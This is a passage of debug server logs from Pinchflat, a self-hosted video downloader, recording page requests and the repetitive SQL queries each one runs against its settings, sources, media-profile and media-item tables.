AS s0 LIMIT 1 [] 07:22:32.628 [debug] QUERY OK source="settings" db=0.3ms idle=498.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:32.629 [debug] QUERY OK source="settings" db=0.0ms idle=309.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:32.631 [info] Sent 200 in 7ms 07:22:33.135 [info] GET /sources/32/edit 07:22:33.136 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 07:22:33.137 [debug] QUERY OK source="sources" db=0.5ms idle=510.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 07:22:33.138 [debug] QUERY OK source="media_profiles" db=0.4ms idle=510.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 07:22:33.139 [debug] QUERY OK source="settings" db=0.4ms idle=510.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.140 [debug] QUERY OK source="settings" db=0.2ms idle=510.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.141 [debug] QUERY OK source="settings" db=0.2ms idle=511.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.143 [info] Sent 200 in 7ms 07:22:33.629 [info] GET /sources/new 07:22:33.629 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 07:22:33.630 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=491.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 07:22:33.631 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=491.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.632 [debug] QUERY OK source="settings" db=0.3ms idle=492.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.633 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=491.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.633 [debug] QUERY OK source="settings" db=0.0ms idle=312.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.634 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:33.636 [info] Sent 200 in 7ms 07:22:34.138 [info] GET /sources/31 07:22:34.139 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 07:22:34.140 [debug] QUERY OK source="sources" db=0.4ms idle=508.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:22:34.141 [debug] QUERY OK source="media_profiles" db=0.5ms idle=508.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:22:34.142 [debug] QUERY OK source="tasks" db=0.7ms idle=508.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 07:22:34.143 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=509.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 07:22:34.144 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=509.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:34.144 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:34.145 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:34.146 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:22:34.146 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 07:22:34.147 [debug] QUERY OK source="media_items" db=0.8ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 07:22:34.148 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:22:34.148 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 07:22:34.149 [debug] QUERY OK source="media_items" db=0.5ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 07:22:34.150 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:22:34.151 [debug] QUERY OK source="media_items" db=0.5ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 07:22:34.152 [debug] QUERY OK source="media_items" db=0.7ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 07:22:34.153 [info] Sent 200 in 14ms 07:22:40.296 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:48.970 [info] GET /media_profiles/1 07:22:48.970 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 07:22:48.971 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1720.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:22:48.972 [debug] QUERY OK source="sources" db=0.3ms idle=1720.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 07:22:48.972 [debug] QUERY OK source="settings" db=0.2ms idle=1619.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:48.972 [debug] QUERY OK source="settings" db=0.2ms idle=722.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:48.973 [debug] QUERY OK source="settings" db=0.1ms idle=618.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:48.975 [info] Sent 200 in 4ms